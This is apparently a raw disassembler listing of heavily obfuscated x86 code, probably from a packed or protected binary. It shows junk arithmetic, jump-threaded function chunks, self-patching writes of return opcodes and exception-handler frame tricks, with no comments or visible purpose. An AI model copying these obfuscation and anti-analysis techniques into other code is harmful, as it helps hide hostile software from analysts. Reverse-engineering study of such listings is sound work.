; FUNCTION CHUNK AT 007528D1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00753647 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00754CE4 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 007557B6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00755C23 SIZE 0000000A BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, ecx
		xchg	edi, [esp+0]
		jmp	loc_753647
sub_747B31	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	edx
		push	0CAD79E71h
		pop	edx
		xor	edx, 0C8E20475h
		jmp	loc_756845
; ---------------------------------------------------------------------------


loc_747B55:				; CODE XREF: _0z4jwtox:0074AB16j
		jz	loc_74FCF3

; =============== S U B	R O U T	I N E =======================================



sub_747B5B	proc near		; CODE XREF: _0z4jwtox:0074C0E8p
		xchg	edi, [esp+0]
		pop	edi
		add	eax, ebp
		add	eax, 52440D36h
		mov	eax, [eax]
sub_747B5B	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_747C22


loc_747B69:				; CODE XREF: sub_747C22:loc_74B7F4j
		jmp	loc_756CF7
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7514AC


loc_747B6E:				; CODE XREF: sub_7514AC+10EDj
		xchg	esi, [esp+0]
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_7514AC

; =============== S U B	R O U T	I N E =======================================



sub_747B76	proc near		; DATA XREF: sub_74A3AB+417Ao

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00747B7E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0074A78D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00750AB9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075483C SIZE 00000019 BYTES

		mov	byte ptr [eax],	0C3h
		jmp	loc_74A78D
sub_747B76	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747B76


loc_747B7E:				; CODE XREF: sub_747B76:loc_74A78Dj
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	edx
		nop
		mov	eax, 23829242h
		call	sub_746E93
		push	ebx
; END OF FUNCTION CHUNK	FOR sub_747B76
; START	OF FUNCTION CHUNK FOR sub_747736


loc_747B8F:				; CODE XREF: sub_747736:loc_7450DCj
		jmp	loc_748206
; END OF FUNCTION CHUNK	FOR sub_747736
; ---------------------------------------------------------------------------
		mov	eax, 510AEA73h
		call	sub_746E93
		push	eax
		mov	eax, esi
		xchg	eax, [esp]
		push	55A552B2h
		pop	esi
		jmp	loc_7529D7
; ---------------------------------------------------------------------------

locret_747BAF:				; CODE XREF: _0z4jwtox:loc_7521EEj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756F0D


loc_747BB0:				; CODE XREF: sub_756F0D+5j
		jmp	nullsub_227
; END OF FUNCTION CHUNK	FOR sub_756F0D
; ---------------------------------------------------------------------------
		add	eax, ebp
		cdq
		jmp	sub_74A47B
; ---------------------------------------------------------------------------


loc_747BBD:				; CODE XREF: _0z4jwtox:0075714Cj
		cmp	ecx, eax
		jmp	loc_7504B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C670


loc_747BC4:				; CODE XREF: sub_74C670-906j
		xor	edi, 2485B0C8h
		jnb	loc_7530D5


loc_747BD0:				; CODE XREF: sub_74C670:loc_7533D9j
		push	6508660Ch
		pop	eax
		and	eax, 69DFE158h
		add	eax, 5B69CF98h
		rol	eax, 7
		and	eax, 7014AAB8h
		jmp	loc_74E8BB
; END OF FUNCTION CHUNK	FOR sub_74C670
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748DCB


loc_747BF1:				; CODE XREF: sub_748DCB+C174j
		jmp	loc_75097B
; END OF FUNCTION CHUNK	FOR sub_748DCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_747BF6:				; CODE XREF: sub_747C22+C20Fj
		jmp	loc_74956B
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------


loc_747BFB:				; CODE XREF: _0z4jwtox:0074B16Fj
		jmp	loc_74E647
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7504F1


loc_747C00:				; CODE XREF: sub_7504F1-B0D9j
		jmp	loc_74D62C
; END OF FUNCTION CHUNK	FOR sub_7504F1
; ---------------------------------------------------------------------------
		db 0BBh, 36h, 0E9h
dword_747C08	dd 0		
; =============== S U B	R O U T	I N E =======================================



sub_747C0C	proc near		; CODE XREF: sub_4157BF+F0p
					; sub_416FD8+28p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0074B4C4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0074B4DC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0074BB17 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0074CB3A SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0074E233 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007501AD SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00757059 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, edi
		xchg	ebp, [esp+4+var_4]
		push	0E4E08B74h
		xchg	ecx, [esp+8+var_8]
		mov	edi, ecx
		jmp	loc_74CB3A
sub_747C0C	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_166. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_747C22	proc near		; CODE XREF: _0z4jwtox:loc_745D47j
					; sub_746CF0:loc_746CFEp

var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00745148 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00745292 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 007453E0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00745998 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00745D0E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074625D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 007469CF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 007469FE SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00746F64 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00746FF7 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00747176 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 007475F0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00747948 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00747A08 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00747B69 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00747BF6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00747DC8 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00747EAC SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00748096 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00748271 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00748885 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 007488D8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00748F94 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 007491A4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00749375 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007494AD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074956B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074969C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00749A34 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00749DEC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074A476 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074A51A SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0074A6FD SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0074A8EE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074A92B SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0074AB2F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0074B7F4 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0074C019 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074CB21 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0074CF9C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074CFB7 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0074D18F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0074D414 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074D436 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074D5CE SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0074D88C SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0074D8D2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074DADF SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0074DCD9 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0074DF79 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0074E719 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0074E811 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074EBF1 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0074ED1E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0074EEAB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0074F088 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074F47C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074F683 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074F752 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0074F89D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074FCE9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00750352 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00751033 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007510DF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00751E67 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075234A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00752497 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00752BBA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00752D9F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00753975 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00753AC3 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00753E27 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00753E99 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00754ADF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00754CA5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075518E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 007552F0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007554B2 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 007554E4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0075583E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 007559C3 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 007560D3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075658C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00756905 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0075696A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00756A60 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00756B4E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0075706B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 007572A2 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0075752E SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	eax, [ebp-4]
		call	sub_7459E9
		jmp	loc_7488D8
sub_747C22	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		pushf
		jmp	loc_755921

; =============== S U B	R O U T	I N E =======================================



sub_747C39	proc near		; CODE XREF: sub_74CBCF:loc_746EC7j
					; sub_755E40+6p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00745474 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00745EBF SIZE 0000000E BYTES
; FUNCTION CHUNK AT 007464F5 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00746B3D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074863C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00749449 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00749C1A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00749D9B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074B2A4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074B520 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074CCAA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0074DF09 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0074E214 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0074E8CB SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00750BC9 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00751007 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075136A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00751E50 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00751FBB SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00752E49 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00752FD1 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00753B7C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00754529 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007546FE SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00755184 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00755449 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0075671F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075776D SIZE 0000000B BYTES

		xchg	edx, [esp+0]
		pop	edx
		pop	ecx
		mov	eax, [ebp-4]
		mov	al, [eax]
		jnb	loc_750BC9
		sub	al, 99h
		jmp	loc_746B3D
sub_747C39	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_747C50:				; CODE XREF: _0z4jwtox:007478CEj
		and	ecx, 0C28A0D32h
		add	ecx, 9A7CF99Ah
		and	ecx, 8CFC19D8h
		rol	ecx, 18h
		add	ecx, 77B57570h
		mov	[ecx], eax
		jmp	loc_752457

; =============== S U B	R O U T	I N E =======================================



sub_747C72	proc near		; CODE XREF: _0z4jwtox:0074BA62j
					; sub_75622B:loc_753E36p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0074FAA1 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 007571C2 SIZE 00000014 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		pop	edx
		mov	eax, [esp-8+arg_4]
		push	edi
		mov	edi, edx
		jmp	loc_74FAA1
sub_747C72	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		or	ecx, ebx
		popf
		jmp	sub_752DE1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_250. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_747C8B:				; CODE XREF: _0z4jwtox:loc_7577C5j
		push	530E411Ah
		pop	eax
		and	eax, 0AC11A7F4h
		add	eax, 62D76BF0h
		or	eax, 0EB1DB6EFh
		js	loc_74EEB8
		push	35B87DB7h
		jmp	loc_74D738
; ---------------------------------------------------------------------------


loc_747CB3:				; CODE XREF: _0z4jwtox:00754DE9j
		jb	loc_74F23A
		sub	ebx, edx
; START	OF FUNCTION CHUNK FOR sub_748574


loc_747CBB:				; CODE XREF: sub_748574:loc_754DC5j
		or	ecx, 0D25FD207h
		add	ecx, 0DF4D6A4h
		xchg	ecx, [esp+0]
		jmp	sub_7451D9
; END OF FUNCTION CHUNK	FOR sub_748574
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_98. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CF35


loc_747CD0:				; CODE XREF: sub_74CF35+6D89j
		jmp	loc_750AB3
; END OF FUNCTION CHUNK	FOR sub_74CF35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75275A


loc_747CD5:				; CODE XREF: sub_75275A+6j
		jmp	loc_74AC9A
; END OF FUNCTION CHUNK	FOR sub_75275A

; =============== S U B	R O U T	I N E =======================================



sub_747CDA	proc near		; CODE XREF: _0z4jwtox:loc_749E5Bj
					; sub_748B7B:loc_74B544p
		xchg	eax, [esp+0]
		pop	eax
		pop	ebp
		retn
sub_747CDA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745911


loc_747CE0:				; CODE XREF: sub_745911+2846j
					; sub_745911+2852j ...
		mov	al, 1
		jmp	loc_74BB71
; ---------------------------------------------------------------------------


loc_747CE7:				; CODE XREF: sub_745911+7AEj
					; sub_745911+30A4j
		push	offset loc_7459E1
		jmp	loc_74B51B
; END OF FUNCTION CHUNK	FOR sub_745911
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_753176


loc_747CF1:				; CODE XREF: sub_753176-71CDj
		adc	ecx, eax
		pop	eax
; END OF FUNCTION CHUNK	FOR sub_753176
; START	OF FUNCTION CHUNK FOR sub_74E3F7


loc_747CF4:				; CODE XREF: sub_745911:loc_745843j
					; sub_745911+306Ej ...
		call	sub_75532F

locret_747CF9:				; CODE XREF: sub_7514BF-5Fj
		retn
; END OF FUNCTION CHUNK	FOR sub_74E3F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BA92


loc_747CFA:				; CODE XREF: sub_74BA92:loc_74BAA4j
		jmp	loc_74CEA3
; END OF FUNCTION CHUNK	FOR sub_74BA92
; ---------------------------------------------------------------------------


loc_747CFF:				; CODE XREF: _0z4jwtox:00749DF3j
		not	eax

; =============== S U B	R O U T	I N E =======================================



sub_747D01	proc near		; CODE XREF: sub_7561AB-865Fp
		xchg	ebx, [esp+0]
		pop	ebx
		lea	eax, sub_74AC6D
		mov	byte ptr [eax],	0C3h
		jmp	sub_74AC6D
sub_747D01	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		sbb	esi, ebp
		jmp	sub_748773
; ---------------------------------------------------------------------------
		dw 8A0Fh
		dd 0CCBBh, 8109E3C1h, 6D4EE4C3h
; ---------------------------------------------------------------------------
		cmpsd
; START	OF FUNCTION CHUNK FOR sub_7543C5


loc_747D29:				; CODE XREF: _0z4jwtox:loc_7520A9j
					; sub_7543C5:loc_753E6Cj
		xor	eax, 40D51CD5h
		call	sub_746E93
		mov	ds:off_41F158, eax


loc_747D3A:				; CODE XREF: _0z4jwtox:loc_74B558j
		jmp	loc_746C74
; END OF FUNCTION CHUNK	FOR sub_7543C5
; ---------------------------------------------------------------------------


loc_747D3F:				; DATA XREF: sub_7514BF-64o
		cmp	al, 0A4h
		jz	loc_7540A9
		jmp	loc_74E238
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7462C2


loc_747D4C:				; CODE XREF: sub_7462C2:loc_752B54j
		jz	loc_7510BB
		jmp	loc_75148A
; END OF FUNCTION CHUNK	FOR sub_7462C2

; =============== S U B	R O U T	I N E =======================================



sub_747D57	proc near		; DATA XREF: sub_747290-15DAo
		add	esi, 0C7E2DFECh
		mov	[esi], eax
		pop	esi
		lea	eax, sub_747290
sub_747D57	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_75532F


loc_747D66:				; CODE XREF: sub_75532F:loc_746F06j
		mov	byte ptr [eax],	0C3h
		jmp	sub_747290
; END OF FUNCTION CHUNK	FOR sub_75532F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7510EA


loc_747D6E:				; CODE XREF: sub_7510EA:loc_756070j
		or	edi, 546B324Ch
		add	edi, 2F4E6ACh
		xchg	edi, [esp+0]
		jmp	sub_750243
; END OF FUNCTION CHUNK	FOR sub_7510EA
; ---------------------------------------------------------------------------

locret_747D82:				; CODE XREF: _0z4jwtox:loc_751610j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AE8E


loc_747D83:				; CODE XREF: sub_74AE8E+1B01j
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_74AE8E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D23E


loc_747D88:				; CODE XREF: sub_748DCB:loc_75146Ej
					; sub_74D23E:loc_7540A9j
		add	eax, 8C3B521Eh
		call	sub_754CBF
		mov	edx, 0DAA118A9h
; END OF FUNCTION CHUNK	FOR sub_74D23E

; =============== S U B	R O U T	I N E =======================================



sub_747D98	proc near		; CODE XREF: sub_746640p

; FUNCTION CHUNK AT 00747E14 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00748A8E SIZE 00000013 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	large dword ptr	fs:0
		jmp	loc_748A8E
sub_747D98	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_188. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		sbb	eax, 0C12C17D3h
		pop	esi
		jmp	sub_75043C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75309B


loc_747DB5:				; CODE XREF: sub_75309B:loc_74AC63j
		cmp	al, 0A4h
		jz	loc_7554A3
		jmp	loc_74AAD4
; END OF FUNCTION CHUNK	FOR sub_75309B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_200. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_747DC3:				; CODE XREF: _0z4jwtox:007503F9j
		mov	edx, [ebp-14h]
		mov	[eax], edx
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_747DC8:				; CODE XREF: sub_747C22+BD5Aj
		jz	loc_75583E
		mov	eax, [ebp-24h]
		test	byte ptr [eax+1], 80h
		jnz	loc_74B803
		jmp	loc_75518E
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7543C5


loc_747DE0:				; CODE XREF: sub_7543C5:loc_75571Bj
		push	edx
		push	0B4542FAFh
		pop	edx
		or	edx, 0B611291Bh
		xor	edx, 566BC783h
		add	edx, 0F35A29ACh
		cmp	edx, 0D0BC6599h
		jmp	loc_74A48E
; END OF FUNCTION CHUNK	FOR sub_7543C5
; ---------------------------------------------------------------------------


loc_747E04:				; CODE XREF: _0z4jwtox:0074E922j
		add	edx, 932EA527h
		xchg	edx, [esp]
		jmp	sub_750C4E
; ---------------------------------------------------------------------------


loc_747E12:				; DATA XREF: sub_74953D+Bo
		xor	eax, eax
; START	OF FUNCTION CHUNK FOR sub_747D98


loc_747E14:				; CODE XREF: sub_747D98:loc_748A9Cj
		pop	large dword ptr	fs:0
		call	sub_746633
		push	eax
		mov	eax, edi
		xchg	eax, [esp+0]
		push	offset loc_74AEDD
		jmp	nullsub_34
; END OF FUNCTION CHUNK	FOR sub_747D98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C7A2


loc_747E30:				; CODE XREF: sub_74C7A2+B09j
		add	edx, 0B7EA7CBEh
		xchg	edx, [esp+8+var_8]
		jmp	loc_753A58
; END OF FUNCTION CHUNK	FOR sub_74C7A2
; ---------------------------------------------------------------------------
		call	sub_7531B7
; START	OF FUNCTION CHUNK FOR sub_75712E


loc_747E43:				; CODE XREF: sub_75712E-74Ej
		jmp	nullsub_232
; END OF FUNCTION CHUNK	FOR sub_75712E
; ---------------------------------------------------------------------------


loc_747E48:				; DATA XREF: sub_74F688-4E25o
		add	edi, 631F56EEh
		mov	[edi], eax
		xchg	ebx, [esp]
		mov	edi, ebx
		pop	ebx
		jmp	loc_754F62
; ---------------------------------------------------------------------------
		push	218E0787h
		and	ebx, esi
		jmp	sub_74FF79
; ---------------------------------------------------------------------------
		or	eax, eax
		jnz	loc_7465A1
		jmp	loc_746B92
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_747E74:				; CODE XREF: sub_747AEC+60ABj
		push	87B76E66h
		pop	esi
		or	esi, 0A89C5CF4h
		sub	esi, 9C754E7Bh
		xor	esi, 22190C50h
		add	eax, esi


loc_747E8E:				; CODE XREF: _0z4jwtox:loc_7457D7j
		pop	esi
		push	ebx
		jmp	loc_74DB56
; END OF FUNCTION CHUNK	FOR sub_747AEC
; ---------------------------------------------------------------------------


loc_747E95:				; CODE XREF: _0z4jwtox:00752CECj
		jz	loc_755C55
; START	OF FUNCTION CHUNK FOR sub_7570CA


loc_747E9B:				; CODE XREF: sub_7570CA-8127j
		jmp	loc_74B9E5
; END OF FUNCTION CHUNK	FOR sub_7570CA
; ---------------------------------------------------------------------------
		pushf
		or	ecx, 378F534Fh
		jmp	loc_755C52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_747EAC:				; CODE XREF: sub_747C22+2F1Fj
		sub	ebx, 0F83C2930h
		and	ebx, 53A5DDCAh
		add	ebx, 0DD26C130h
		add	ebx, ebp
		add	ebx, 2258EDA4h
		mov	[ebx], eax


loc_747EC8:				; CODE XREF: _0z4jwtox:loc_7555B0j
		pop	ebx
		jmp	loc_74D414
; ---------------------------------------------------------------------------


loc_747ECE:				; CODE XREF: sub_747C22:loc_74E721j
		mov	eax, [ebp-18h]
		jmp	loc_74F47C
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------


loc_747ED6:				; CODE XREF: _0z4jwtox:loc_7576B3j
		pop	edx
		lea	eax, nullsub_269
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_269
; ---------------------------------------------------------------------------
		xchg	ecx, [esp]


loc_747EE8:				; CODE XREF: _0z4jwtox:0074E661j
		mov	edx, ecx
		shl	ecx, 0Eh
		jmp	loc_7496C5
; ---------------------------------------------------------------------------
		test	edx, ecx
		jmp	loc_74F3FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75299B


loc_747EF9:				; CODE XREF: sub_75299B:loc_7467E0j
		jnb	loc_74E3CD
		xchg	edx, [ebx]
		sbb	ebp, eax
		jmp	loc_74B9CF
; END OF FUNCTION CHUNK	FOR sub_75299B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7473D1


loc_747F08:				; CODE XREF: sub_7473D1+827Ej
		jbe	loc_7451C9
		test	ebp, 921FB329h
		jmp	loc_74F9BB
; END OF FUNCTION CHUNK	FOR sub_7473D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B822


loc_747F19:				; CODE XREF: sub_74B822:loc_748B24j
		cmp	dword ptr [eax], 0FFFFFFFFh
		mov	ebx, [eax+4]
		mov	eax, [eax]
		jnz	loc_74B829


loc_747F27:				; CODE XREF: sub_7543C5:loc_74BE50j
		jmp	loc_748A01
; END OF FUNCTION CHUNK	FOR sub_74B822
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746F7A


loc_747F2C:				; CODE XREF: sub_746F7A:loc_74A61Dj
		jnz	loc_74A833
		jmp	loc_74FC74
; END OF FUNCTION CHUNK	FOR sub_746F7A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7463AE


loc_747F37:				; CODE XREF: sub_7463AE+13C5j
		mov	byte ptr [eax],	0C3h
		jmp	loc_75674E
; END OF FUNCTION CHUNK	FOR sub_7463AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7535F0


loc_747F3F:				; CODE XREF: sub_7535F0+1j
					; _0z4jwtox:loc_754855j
		mov	eax, [esp+0]
		push	edi
		mov	edi, edx
		jmp	loc_7521D4
; END OF FUNCTION CHUNK	FOR sub_7535F0
; ---------------------------------------------------------------------------
		shl	eax, 0Ah
		jmp	sub_74BCF7
; ---------------------------------------------------------------------------


loc_747F52:				; DATA XREF: sub_756496-B1AFo
		add	eax, 0D5820E56h
		call	sub_74FF79
; START	OF FUNCTION CHUNK FOR sub_74CF35


loc_747F5D:				; CODE XREF: sub_74CF35-5BFDj
		jmp	loc_754B54
; END OF FUNCTION CHUNK	FOR sub_74CF35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_747F62:				; CODE XREF: sub_74FE55-90D3j
		jmp	loc_753F45
; END OF FUNCTION CHUNK	FOR sub_74FE55
; ---------------------------------------------------------------------------
		shl	edi, 0Ah
		jmp	sub_755FD6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75622B


loc_747F6F:				; CODE XREF: sub_75622B-BD1j
		xor	eax, 0AF045E1Bh
		cmp	eax, 4E9CC1E2h
		jmp	loc_749924
; END OF FUNCTION CHUNK	FOR sub_75622B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E762


loc_747F80:				; CODE XREF: sub_74A8F9+19j
					; sub_74E762-875j ...
		push	edx
		push	641DCB6Bh
		pop	edx
		add	edx, 9738F61Bh
		rol	edx, 14h
		xor	edx, 0CD96ECE2h
		add	eax, edx
